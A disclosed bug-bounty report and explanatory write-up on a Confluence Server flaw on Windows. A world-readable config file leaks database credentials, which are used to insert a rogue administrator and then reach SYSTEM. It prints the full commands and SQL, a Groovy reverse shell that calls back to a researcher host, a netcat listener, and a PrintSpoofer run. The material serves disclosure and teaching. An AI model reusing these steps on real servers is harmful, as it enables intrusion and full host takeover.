Local Privilege Escalation via Confluence Server
A Confluence Server configuration file was readable by all local users, exposing database credentials. An attacker with low-privilege local access could use those credentials to add an administrator account and then execute commands as the Confluence service, ultimately escalating to SYSTEM.
- Accepted in 14 days
- Fixed in 4 months
- Disclosed after 10 months
Summary by Atlassian
Local Privilege Escalation Vulnerability in Confluence Server
Summary by matcluck
Confluence Data Center was vulnerable to local privilege escalation due to insecure permissions applied to a configuration file. An attacker with local file system access could exploit this to achieve NT AUTHORITY\SYSTEM access.
Report details
-
Submitted
13 Sep 2023 10:59:44 UTC
-
Target Location
Confluence Data Center -
Target category
Other
-
VRT
Server Security Misconfiguration
-
Priority
P3
-
Bug URL
Empty
-
Description
Overview
With low privilege access (standard user access) to a Windows host running Confluence Server, it is possible to escalate privileges to Confluence administrator and NT AUTHORITY\SYSTEM by extracting secrets from confluence.cfg.xml (C:\Program Files\Atlassian\Application Data\Confluence\confluence.cfg.xml).
An out of the box Confluence Server installation configures this file so that it is readable by all members of the local Users group (See Screenshot1.png))
An adversary with a low privilege foothold on a Windows host running Confluence Server would be able to exploit this vulnerability to gain complete control of the server and Confluence data contained within.
Reproduction Steps
- Extract the database credentials from the confluence.cfg file:
C:\Users\lowpriv>whoami /groups GROUP INFORMATION ----------------- Group Name Type SID Attributes ====================================== ================ ============ ================================================== Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\INTERACTIVE Well-known group S-1-5-4 Mandatory group, Enabled by default, Enabled group CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group Mandatory Label\Medium Mandatory Level Label S-1-16-8192 C:\Users\lowpriv>type "C:\Program Files\Atlassian\Application Data\Confluence\confluence.cfg.xml" | findstr /c:"hibernate.connection.username" /c:"hibernate.connection.password" <property name="hibernate.connection.password">confluence</property> <property name="hibernate.connection.username">postgres</property>- Connect to the DBMS using extracted credentials
C:\Program Files\PostgreSQL\16rc1\bin>psql -U postgres Password for user postgres: psql (16rc1) WARNING: Console code page (437) differs from Windows code page (1252) 8-bit characters might not work correctly. See psql reference page "Notes for Windows users" for details. Type "help" for help. postgres=# \c confluence You are now connected to database "confluence" as user "postgres". confluence=#- Using SQL and the cwd tables, add a confluence user
Note:
{PKCS5S2}yLIYwNvu4mbhTXYF0ZE0CW/IKpG78xrakS1qlm1uuW0I506icmhxmIt+P2v5IDKuis the hashed value foradminconfluence=# insert into cwd_user (id, user_name, lower_user_name, active, created_date, updated_date, last_name, lower_last_name, display_name, lower_display_name, email_address, lower_email_address, external_id, directory_id, credential) values (491523, 'bugcrowd', 'bugcrowd', 'T', '2023-09-12 19:46:07.587', '2023-09-12 19:46:07.587', 'bugcrowd', 'bugcrowd', 'bugcrowd', 'bugcrowd', '[email protected]', '[email protected]', '9d9c7244-e4ad-465b-91c5-dfeaad4c39c3',360449,'{PKCS5S2}yLIYwNvu4mbhTXYF0ZE0CW/IKpG78xrakS1qlm1uuW0I506icmhxmIt+P2v5IDKu'); confluence=# select id, user_name, credential from cwd_user; id | user_name | credential --------+-----------+--------------------------------------------------------------------------- 491521 | admin | {PKCS5S2}yLIYwNvu4mbhTXYF0ZE0CW/IKpG78xrakS1qlm1uuW0I506icmhxmIt+P2v5IDKu 491522 | hacker | {PKCS5S2}yLIYwNvu4mbhTXYF0ZE0CW/IKpG78xrakS1qlm1uuW0I506icmhxmIt+P2v5IDKu 491523 | bugcrowd | {PKCS5S2}yLIYwNvu4mbhTXYF0ZE0CW/IKpG78xrakS1qlm1uuW0I506icmhxmIt+P2v5IDKu- Add the user to the confluence-administrators and confluence-users groups:
confluence=# select id, group_name from cwd_group; id | group_name --------+--------------------------- 425985 | confluence-administrators 425986 | confluence-users (2 rows) confluence=# insert into cwd_membership (id, parent_id, child_user_id) values (589829, 425986, 491523); INSERT 0 1 confluence=# insert into cwd_membership (id, parent_id, child_user_id) values (589830, 425985, 491523); INSERT 0 1 confluence=# select * from cwd_membership; id | parent_id | child_group_id | child_user_id --------+-----------+----------------+--------------- 589825 | 425986 | | 491521 589826 | 425985 | | 491521 589827 | 425986 | | 491522 589828 | 425985 | | 491522 589829 | 425986 | | 491523 589830 | 425985 | | 491523 (6 rows)- Add a user mapping entry for the user:
confluence=# insert into user_mapping (user_key, username, lower_username) values ('4028db008a893503018a89379e250003', 'bugcrowd', 'bugcrowd'); INSERT 0 1 confluence=# select * from user_mapping; user_key | username | lower_username ----------------------------------+----------+---------------- 4028db008a893503018a8935f3940000 | admin | admin 4028db008a893503018a89379e250001 | exporter | exporter 4028db008a893503018a89379e250002 | hacker | hacker 4028db008a893503018a89379e250003 | bugcrowd | bugcrowd (4 rows)- Login to Confluence as the newly created admin (bugcrowd:admin) and observe that we have successfully achieved Confluence administrator level access (See Screenshot2.png)
- With admin access, it is possible to achieve command execution in the security context that the Confluence process is running as. For example, we can use the ScriptRunner plugin to execute a Groovy reverse shell (See Screenshot3.png):
String host="192.168.1.142"; int port=1234; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();- With the ability to execute shell commands, we can observe that the confluence process security context has the SeImpersonatePrivilege privilege:
[celliott@fedora ~]$ nc -lvp 1234 Ncat: Version 7.93 ( https://nmap.org/ncat ) Ncat: Listening on :::1234 Ncat: Listening on 0.0.0.0:1234 Ncat: Connection from 192.168.1.142. Ncat: Connection from 192.168.1.142:58735. Microsoft Windows [Version 10.0.19045.2965] (c) Microsoft Corporation. All rights reserved. C:\Program Files\Atlassian\Confluence>whoami /priv whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ========================================= ======== SeAssignPrimaryTokenPrivilege Replace a process level token Disabled SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled SeShutdownPrivilege Shut down the system Disabled SeAuditPrivilege Generate security audits Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeUndockPrivilege Remove computer from docking station Disabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled SeTimeZonePrivilege Change the time zone Disabled- We can use this privilege to impersonate a SYSTEM token. For example, impersonating the Print Spooler service is a viable option on modern Windows.
C:\temp>PrintSpoofer64.exe -i -c powershell.exe PrintSpoofer64.exe -i -c powershell.exe [+] Found privilege: SeImpersonatePrivilege [+] Named pipe listening... [+] CreateProcessAsUser() OK Windows PowerShell Copyright (C) Microsoft Corporation. All rights reserved. Try the new cross-platform PowerShell https://aka.ms/pscore6 PS C:\Windows\system32> whoami whoami nt authority\system PS C:\Windows\system32>
Context
Confluence Data Center is Atlassian's self-hosted collaboration product. On Windows, an out-of-the-box installation stores its configuration, including the database connection settings, in a file at C:\Program Files\Atlassian\Application Data\Confluence\confluence.cfg.xml. That file is what the application reads at startup to know how to reach its database and how to behave.
The report describes a local privilege escalation: a user who already has a low-privileged foothold on the Windows host can read that configuration file, recover the database credentials, and from there take over both Confluence administration and the operating system account the Confluence process runs as. Atlassian's own summary calls it a "Local Privilege Escalation Vulnerability in Confluence Server".
Setup
The precondition is local access to a Windows host running Confluence Server with standard user rights. The researcher demonstrates this from a local account named lowpriv, whose group membership is shown in the first step below. The host runs a PostgreSQL instance (the client reports version 16rc1), and the Confluence process runs with a token that holds SeImpersonatePrivilege. The reverse shell is caught with netcat, and the researcher uses the PrintSpoofer64.exe tool for the final token impersonation. No specific Confluence version is given in the report.
Finding it
The researcher observed that an out-of-the-box Confluence Server installation configures confluence.cfg.xml so that it is readable by all members of the local Users group. The report refers to a screenshot of the file permissions at this point. Because the file contains the database username and password in clear text, any local user can read secrets that should belong to the service account only.
Exploitation
Step 1: Confirm the low-privileged context and read the configuration file
The researcher first confirms the group membership of the lowpriv account, then reads the two database properties out of the configuration file:
C:\Users\lowpriv>whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
====================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE Well-known group S-1-5-4 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
C:\Users\lowpriv>type "C:\Program Files\Atlassian\Application Data\Confluence\confluence.cfg.xml" | findstr /c:"hibernate.connection.username" /c:"hibernate.connection.password"
<property name="hibernate.connection.password">confluence</property>
<property name="hibernate.connection.username">postgres</property>
The whoami /groups output shows the account is only a member of ordinary groups such as BUILTIN\Users, with a medium integrity label. The type command reads the configuration file and findstr filters it down to the two Hibernate properties, which return the database user postgres and its password.
Step 2: Connect to the database with the extracted credentials
With those credentials the researcher connects to PostgreSQL locally:
C:\Program Files\PostgreSQL\16rc1\bin>psql -U postgres
Password for user postgres:
psql (16rc1)
WARNING: Console code page (437) differs from Windows code page (1252)
8-bit characters might not work correctly. See psql reference
page "Notes for Windows users" for details.
Type "help" for help.
postgres=# \c confluence
You are now connected to database "confluence" as user "postgres".
confluence=#
The psql -U postgres client authenticates with the recovered password, and \c confluence switches to the Confluence database. The database user is the application's own account, so it has the rights Confluence needs to run.
Step 3: Insert a new Confluence user directly into the database
The researcher then writes a new row into the cwd_user table. The report notes that {PKCS5S2}yLIYwNvu4mbhTXYF0ZE0CW/[redacted]+P2v5IDKu is the hashed value for admin:
confluence=# insert into cwd_user (id, user_name, lower_user_name, active, created_date, updated_date, last_name, lower_last_name, display_name, lower_display_name, email_address, lower_email_address, external_id, directory_id, credential) values (491523, 'bugcrowd', 'bugcrowd', 'T', '2023-09-12 19:46:07.587', '2023-09-12 19:46:07.587', 'bugcrowd', 'bugcrowd', 'bugcrowd', 'bugcrowd', '[redacted]', '[redacted]', '9d9c7244-e4ad-465b-91c5-dfeaad4c39c3',360449,'{PKCS5S2}yLIYwNvu4mbhTXYF0ZE0CW/[redacted]+P2v5IDKu');
confluence=# select id, user_name, credential from cwd_user;
id | user_name | credential
--------+-----------+---------------------------------------------------------------------------
491521 | admin | {PKCS5S2}yLIYwNvu4mbhTXYF0ZE0CW/[redacted]+P2v5IDKu
491522 | hacker | {PKCS5S2}yLIYwNvu4mbhTXYF0ZE0CW/[redacted]+P2v5IDKu
491523 | bugcrowd | {PKCS5S2}yLIYwNvu4mbhTXYF0ZE0CW/[redacted]+P2v5IDKu
The insert creates a user called bugcrowd with the same credential hash as the existing admin account, so the new account's password is admin. The select confirms the row was written alongside the existing users.
Step 4: Add the user to the administrator and user groups
The new account needs group membership. The researcher lists the groups, then inserts two membership rows:
confluence=# select id, group_name from cwd_group;
id | group_name
--------+---------------------------
425985 | confluence-administrators
425986 | confluence-users
(2 rows)
confluence=# insert into cwd_membership (id, parent_id, child_user_id) values (589829, 425986, 491523);
INSERT 0 1
confluence=# insert into cwd_membership (id, parent_id, child_user_id) values (589830, 425985, 491523);
INSERT 0 1
confluence=# select * from cwd_membership;
id | parent_id | child_group_id | child_user_id
--------+-----------+----------------+---------------
589825 | 425986 | | 491521
589826 | 425985 | | 491521
589827 | 425986 | | 491522
589828 | 425985 | | 491522
589829 | 425986 | | 491523
589830 | 425985 | | 491523
(6 rows)
The two inserts map the new user id 491523 to confluence-users (425986) and confluence-administrators (425985). The final select shows the new memberships next to those of the existing accounts.
Step 5: Add the user mapping entry
Confluence keeps a separate mapping between its internal user key and the username. The researcher inserts that row too:
confluence=# insert into user_mapping (user_key, username, lower_username) values ('[redacted]', 'bugcrowd', 'bugcrowd');
INSERT 0 1
confluence=# select * from user_mapping;
user_key | username | lower_username
----------------------------------+----------+----------------
[redacted] | admin | admin
[redacted] | exporter | exporter
[redacted] | hacker | hacker
[redacted] | bugcrowd | bugcrowd
(4 rows)
This gives the new account the user key [redacted], matching the pattern of the existing entries.
Step 6: Log in as the new administrator
The researcher logs in to Confluence as bugcrowd with the password admin and confirms Confluence administrator level access. The report refers to a screenshot of the logged-in session here.
Step 7: Execute commands as the Confluence process
With administrator access, the researcher uses the ScriptRunner plugin to run a Groovy reverse shell, which executes in the security context of the Confluence process:
String host="[redacted]";
int port=1234;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
The script starts cmd.exe, opens a socket back to the researcher's host on port 1234, and shuttles data between the process and the socket in a loop. The report refers to a screenshot of this step.
Step 8: Inspect the process token privileges
The reverse shell lands on the Windows host, and whoami /priv shows the privileges of the Confluence process:
[celliott@fedora ~]$ nc -lvp 1234
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on [redacted]:1234
Ncat: Connection from 192.168.1.142.
Ncat: Connection from [redacted]:58735.
Microsoft Windows [Version 10.0.19045.2965]
(c) Microsoft Corporation. All rights reserved.
C:\Program Files\Atlassian\Confluence>whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeShutdownPrivilege Shut down the system Disabled
SeAuditPrivilege Generate security audits Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
The key line is SeImpersonatePrivilege, which is enabled. That privilege lets a process impersonate a client after authentication, which is the basis for the token impersonation techniques commonly used on Windows.
Step 9: Impersonate a SYSTEM token
The researcher uses PrintSpoofer64.exe to impersonate the Print Spooler service and obtain a SYSTEM shell:
C:\temp>PrintSpoofer64.exe -i -c powershell.exe
PrintSpoofer64.exe -i -c powershell.exe
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Try the new cross-platform PowerShell https://aka.ms/pscore6
PS C:\Windows\system32> whoami
whoami
nt authority\system
PS C:\Windows\system32>
The tool finds SeImpersonatePrivilege, listens on a named pipe, and uses CreateProcessAsUser() to start PowerShell with the impersonated token. The final whoami returns nt authority\system, confirming full control of the host.
Root cause
The mistake is in the file permissions applied by the installer: confluence.cfg.xml is readable by all members of the local Users group, and it stores the database credentials in clear text. Any local user can therefore read the application's database password. Because the database account is the one Confluence itself uses, it can write to the application's own tables, including users, groups and user mappings. Nothing in the flow requires a Confluence account, a web-facing vulnerability or any interaction with the application's authentication logic: the attacker writes the rows directly and then logs in normally.
The second half of the chain depends on the privileges of the Confluence service account. The report shows that the process holds SeImpersonatePrivilege, which is common for service accounts, and that this privilege can be used to impersonate a SYSTEM token, for example via the Print Spooler. The report does not describe any additional defence that was in place and bypassed.
Impact
An attacker with a low-privileged foothold on a Windows host running Confluence Server can escalate to Confluence administrator and to NT AUTHORITY\SYSTEM, gaining complete control of the server and of the Confluence data it contains. The report frames this as a local privilege escalation, so it requires local file system access first; it is not a remote attack on its own. The platform records the severity as medium and the bounty as 800 USD.
Fix
Atlassian's summary describes the issue as a local privilege escalation vulnerability in Confluence Server, and the report was disclosed after being resolved. The report text does not describe the specific change that was made. The fix that follows from the root cause is to restrict the permissions on confluence.cfg.xml so that only the account running Confluence (and administrators) can read it, rather than the whole Users group, and to avoid storing the database password in clear text where possible.
Variants to test
- Check the ACLs on other Atlassian configuration files under
C:\Program Files\Atlassian\on a default install. A positive result is a file readable byBUILTIN\Usersthat contains credentials or secrets. - On a host where the configuration file is protected, look for backups, copies or installer logs that contain the same database properties. A positive result is any readable file with the
hibernate.connection.passwordproperty. - If database credentials are recovered, test whether the database account can write to the application's user tables, as shown here with
cwd_user,cwd_membershipanduser_mapping. A positive result is an inserted account that can log in to the web interface. - From a command execution context as the service account, run
whoami /privand look forSeImpersonatePrivilegeorSeAssignPrimaryTokenPrivilege. A positive result is either privilege being present and enabled, which opens the token impersonation path. - Repeat the same review on Linux installations, checking the ownership and mode of the equivalent configuration file. A positive result is a file readable by users other than the service account that contains database credentials.
What happened, in plain words
Confluence is a product made by Atlassian that teams use to write and share documents, like a company wiki. Confluence Data Center is the version a company installs on its own server rather than renting from Atlassian. This report is about the Windows version of that self-hosted product.
When Confluence starts up, it needs to talk to a database, which is a separate program that stores all the pages, users and settings. To know how to reach that database, Confluence reads a small settings file on disk called confluence.cfg.xml. That file contains the database username and password written out in plain text, with no scrambling.
The problem the researcher found is that, on a fresh default installation, that settings file can be read by every ordinary user account on the Windows machine. So someone who has only a normal, low-powered login on the server can open the file, read the database password, log into the database directly, and quietly add themselves as a Confluence administrator. From there they can run commands on the server and end up with the highest level of access Windows offers, called NT AUTHORITY\SYSTEM.
Security people call this a local privilege escalation. "Local" means the attacker already has some kind of foothold on the machine, in this case a normal user login. "Privilege escalation" means going from a low level of permission to a much higher one. The everyday comparison is a cleaner in an office building who finds the master key left in an unlocked drawer: they were only supposed to clean one floor, but now they can open every door.
Atlassian's own summary of the issue is short: "Local Privilege Escalation Vulnerability in Confluence Server". The researcher's summary says Confluence Data Center was vulnerable because of insecure permissions on a configuration file, and that an attacker with local file system access could use it to reach NT AUTHORITY\SYSTEM.
The starting point
Before any of this works, the attacker needs three things in place:
- A Windows machine running Confluence Server.
- A normal user account on that machine, with no special rights. The researcher uses an account called
lowpriv, short for "low privilege". - A PostgreSQL database on the same machine. PostgreSQL is a free, widely used database program. The report shows the client tool reporting version
16rc1.
The researcher also uses netcat to receive a connection back from the Windows host, and a small program called PrintSpoofer64.exe for the final step. The report does not give a specific Confluence version.
Finding the problem
The researcher noticed that a default Confluence Server installation sets up confluence.cfg.xml so that every member of the local Users group can read it. The Users group is the standard group that ordinary, non-administrator accounts belong to on Windows. The report mentions a screenshot of the file permissions at this point.
Because the file holds the database username and password in clear text, any local user can read secrets that should only ever be seen by the account that runs Confluence. That is the whole vulnerability: a file that should be private is readable by everyone.
Step by step: how the attack works
Step 1: Confirm the low-privileged context and read the configuration file
First the researcher checks what groups the lowpriv account belongs to, then reads the two database settings out of the configuration file.
C:\Users\lowpriv>whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
====================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE Well-known group S-1-5-4 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
C:\Users\lowpriv>type "C:\Program Files\Atlassian\Application Data\Confluence\confluence.cfg.xml" | findstr /c:"hibernate.connection.username" /c:"hibernate.connection.password"
<property name="hibernate.connection.password">confluence</property>
<property name="hibernate.connection.username">postgres</property>
What each part does:
whoami /groupsis a Windows command that prints who you are and which groups you belong to. A group is a bundle of permissions that many accounts can share, so administrators do not have to grant rights one person at a time.- The output lists only ordinary groups such as
BUILTIN\Users. The lineMandatory Label\Medium Mandatory Levelis Windows telling us this is a normal, un-elevated session. Windows uses these "integrity levels" as a safety ladder: medium is the normal rung, and high is what administrators get. typeprints the contents of a file to the screen, like opening it in Notepad.- The vertical bar
|is a pipe. It takes the output of the command on its left and feeds it as input to the command on its right, like passing a document from one person to the next. findstrsearches text for a pattern. The/c:flag means "search for this exact string". So the whole line means: print the file, then keep only the lines mentioning the database username or password.- The two lines that come back are XML, a text format that uses tags like
<property name="...">value</property>to label pieces of data. They reveal the database userpostgresand its password.
Why this step matters: it proves the attacker really is an ordinary user, and it shows that the ordinary user can read the secret. Everything after this depends on that one fact.
Step 2: Connect to the database with the extracted credentials
Now the researcher uses the stolen database password to log into PostgreSQL directly.
C:\Program Files\PostgreSQL\16rc1\bin>psql -U postgres
Password for user postgres:
psql (16rc1)
WARNING: Console code page (437) differs from Windows code page (1252)
8-bit characters might not work correctly. See psql reference
page "Notes for Windows users" for details.
Type "help" for help.
postgres=# \c confluence
You are now connected to database "confluence" as user "postgres".
confluence=#
What each part does:
psqlis the official command-line client for PostgreSQL. Think of it as a text-based control panel for the database.-U postgrestells it to log in as the database user namedpostgres.- The
Password for user postgres:prompt is where the stolen password is typed. The report does not show the typed password on screen, which is normal: password prompts hide what you type. - The warning about code pages is just PostgreSQL saying the terminal's character encoding differs from Windows' default. It is harmless noise.
\c confluenceis a psql command that means "connect to the database called confluence". A single PostgreSQL server can hold many separate databases, like a filing cabinet with several drawers.- The
confluence=#prompt shows you are now inside the Confluence database and ready to run SQL.
SQL is the language used to talk to databases. You use it to ask questions (read data) or make changes (add, edit, delete data).
Why this step matters: the database user postgres is the very account Confluence itself uses to run. It therefore has all the rights Confluence needs, including the right to change the tables that store users and groups. The attacker has now borrowed the application's own keys.
Step 3: Insert a new Confluence user directly into the database
Instead of going through Confluence's normal sign-up screens, the researcher writes a new user row straight into the database table that holds Confluence accounts.
confluence=# insert into cwd_user (id, user_name, lower_user_name, active, created_date, updated_date, last_name, lower_last_name, display_name, lower_display_name, email_address, lower_email_address, external_id, directory_id, credential) values (491523, 'bugcrowd', 'bugcrowd', 'T', '2023-09-12 19:46:07.587', '2023-09-12 19:46:07.587', 'bugcrowd', 'bugcrowd', 'bugcrowd', 'bugcrowd', '[redacted]', '[redacted]', '9d9c7244-e4ad-465b-91c5-dfeaad4c39c3',360449,'{PKCS5S2}yLIYwNvu4mbhTXYF0ZE0CW/[redacted]+P2v5IDKu');
confluence=# select id, user_name, credential from cwd_user;
id | user_name | credential
--------+-----------+---------------------------------------------------------------------------
491521 | admin | {PKCS5S2}yLIYwNvu4mbhTXYF0ZE0CW/[redacted]+P2v5IDKu
491522 | hacker | {PKCS5S2}yLIYwNvu4mbhTXYF0ZE0CW/[redacted]+P2v5IDKu
491523 | bugcrowd | {PKCS5S2}yLIYwNvu4mbhTXYF0ZE0CW/[redacted]+P2v5IDKu
What each part does:
- A table in a database is like a spreadsheet: rows are records and columns are fields.
cwd_useris the table where Confluence keeps its user accounts. insert into ... values (...)adds a new row. The column names in the first bracket say which fields you are filling in, and the values in the second bracket give the data for each field, in the same order.idis a unique number for the row. The researcher picks491523, one higher than the existing users.user_nameandlower_user_nameare the login name, stored twice so the system can search case-insensitively.activeset to'T'means true, so the account is switched on.created_dateandupdated_dateare timestamps.- The
display_name,last_nameandemail_addressfields are just labels shown in the interface. credentialis the stored password. The report notes that{PKCS5S2}yLIYwNvu4mbhTXYF0ZE0CW/[redacted]+P2v5IDKuis the hashed value foradmin.
A hash is a one-way scramble of a password. The system stores the scrambled version, not the real password, so that even someone reading the database cannot simply read passwords. But if you copy an existing hash into a new account, the new account will accept whatever password produces that hash, which here is admin.
- The
selectstatement reads data back.select id, user_name, credential from cwd_user;means "show me those three columns from the user table". The output confirms the newbugcrowdrow sits alongside the existingadminandhackeraccounts, all sharing the same credential hash.
Why this step matters: the attacker is bypassing Confluence's login and sign-up logic entirely. They are not exploiting a bug in the web page; they are editing the database underneath it, which is why no Confluence account was needed to begin with.
Step 4: Add the user to the administrator and user groups
A Confluence account on its own does nothing useful. It needs to be in the right groups. The researcher lists the groups, then adds two membership rows.
confluence=# select id, group_name from cwd_group;
id | group_name
--------+---------------------------
425985 | confluence-administrators
425986 | confluence-users
(2 rows)
confluence=# insert into cwd_membership (id, parent_id, child_user_id) values (589829, 425986, 491523);
INSERT 0 1
confluence=# insert into cwd_membership (id, parent_id, child_user_id) values (589830, 425985, 491523);
INSERT 0 1
confluence=# select * from cwd_membership;
id | parent_id | child_group_id | child_user_id
--------+-----------+----------------+---------------
589825 | 425986 | | 491521
589826 | 425985 | | 491521
589827 | 425986 | | 491522
589828 | 425985 | | 491522
589829 | 425986 | | 491523
589830 | 425985 | | 491523
(6 rows)
What each part does:
cwd_groupis the table of groups. Theselectshows two:confluence-administrators(id425985) andconfluence-users(id425986).cwd_membershipis the table that links users to groups. Each row says "this user belongs to this group".parent_idis the group's id andchild_user_idis the user's id. So(589829, 425986, 491523)means "user 491523 (bugcrowd) joins group 425986 (confluence-users)", and(589830, 425985, 491523)means "the same user joins group 425985 (confluence-administrators)".INSERT 0 1is PostgreSQL's way of saying "one row was added".- The final
select *shows every membership row. The*means "all columns". The last two rows are the new ones, matching the existing pattern for the other accounts.
Why this step matters: group membership is what actually grants power in Confluence. Being in confluence-administrators is what turns a plain account into an administrator.
Step 5: Add the user mapping entry
Confluence keeps a second, separate table that links its internal user identifier to the username. The researcher adds a row there too.
confluence=# insert into user_mapping (user_key, username, lower_username) values ('[redacted]', 'bugcrowd', 'bugcrowd');
INSERT 0 1
confluence=# select * from user_mapping;
user_key | username | lower_username
----------------------------------+----------+----------------
[redacted] | admin | admin
[redacted] | exporter | exporter
[redacted] | hacker | hacker
[redacted] | bugcrowd | bugcrowd
(4 rows)
What each part does:
user_mappingis a lookup table.user_keyis a long internal string that Confluence uses to refer to a user in other parts of the system, andusernameis the human-readable login name.- The insert gives the new account the key
[redacted], which follows the same pattern as the existing entries (the last digits simply count up). - The
select *confirms the new row sits alongsideadmin,exporterandhacker.
Why this step matters: without this mapping, Confluence may not be able to tie the new account to the rest of its data. Adding it makes the fake account look like a normal, fully set-up user.
Step 6: Log in as the new administrator
The researcher logs in to the Confluence web interface as bugcrowd with the password admin, and confirms they now have Confluence administrator access. The report mentions a screenshot of the logged-in session here.
Why this step matters: it proves the database edits actually worked. The attacker never used a Confluence exploit; they simply walked in through the front door with an account they created behind the scenes.
Step 7: Execute commands as the Confluence process
With administrator access, the researcher installs or uses a plugin called ScriptRunner, which lets administrators run small programs written in a language called Groovy (a scripting language that runs on the same engine as Java). They use it to start a reverse shell.
A reverse shell is a program that makes the victim machine call back to the attacker and then hands over a command prompt. The everyday comparison is a phone call: instead of the attacker repeatedly dialling in (which firewalls often block), the victim's machine dials out to the attacker, and the two stay connected.
String host="[redacted]";
int port=1234;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
What each part does, line by line:
String host="[redacted]";sets the address of the attacker's machine to call back to.int port=1234;sets the network port to use. A port is like a numbered door on a computer; different services listen on different doors.String cmd="cmd.exe";names the Windows command prompt program to launch.Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();startscmd.exeas a child process.redirectErrorStream(true)merges error messages into the normal output so nothing is lost.Socket s=new Socket(host,port);opens a network connection from the victim to the attacker. A socket is the programming object that represents one end of a network conversation.- The
InputStreamandOutputStreamvariables are the pipes for reading from and writing to the command prompt and the socket. - The
while(!s.isClosed()){...}loop keeps running until the connection closes. Inside it, the innerwhileloops copy any available output from the command prompt to the socket, and any input from the socket to the command prompt.flush()pushes data out immediately instead of waiting. Thread.sleep(50);pauses for 50 milliseconds each round so the loop does not spin the processor at full speed.p.exitValue()throws an error if the process is still running; if it succeeds, the process has ended, so the loop breaks.p.destroy();s.close();cleans up the process and the connection at the end.
The report mentions a screenshot of this step.
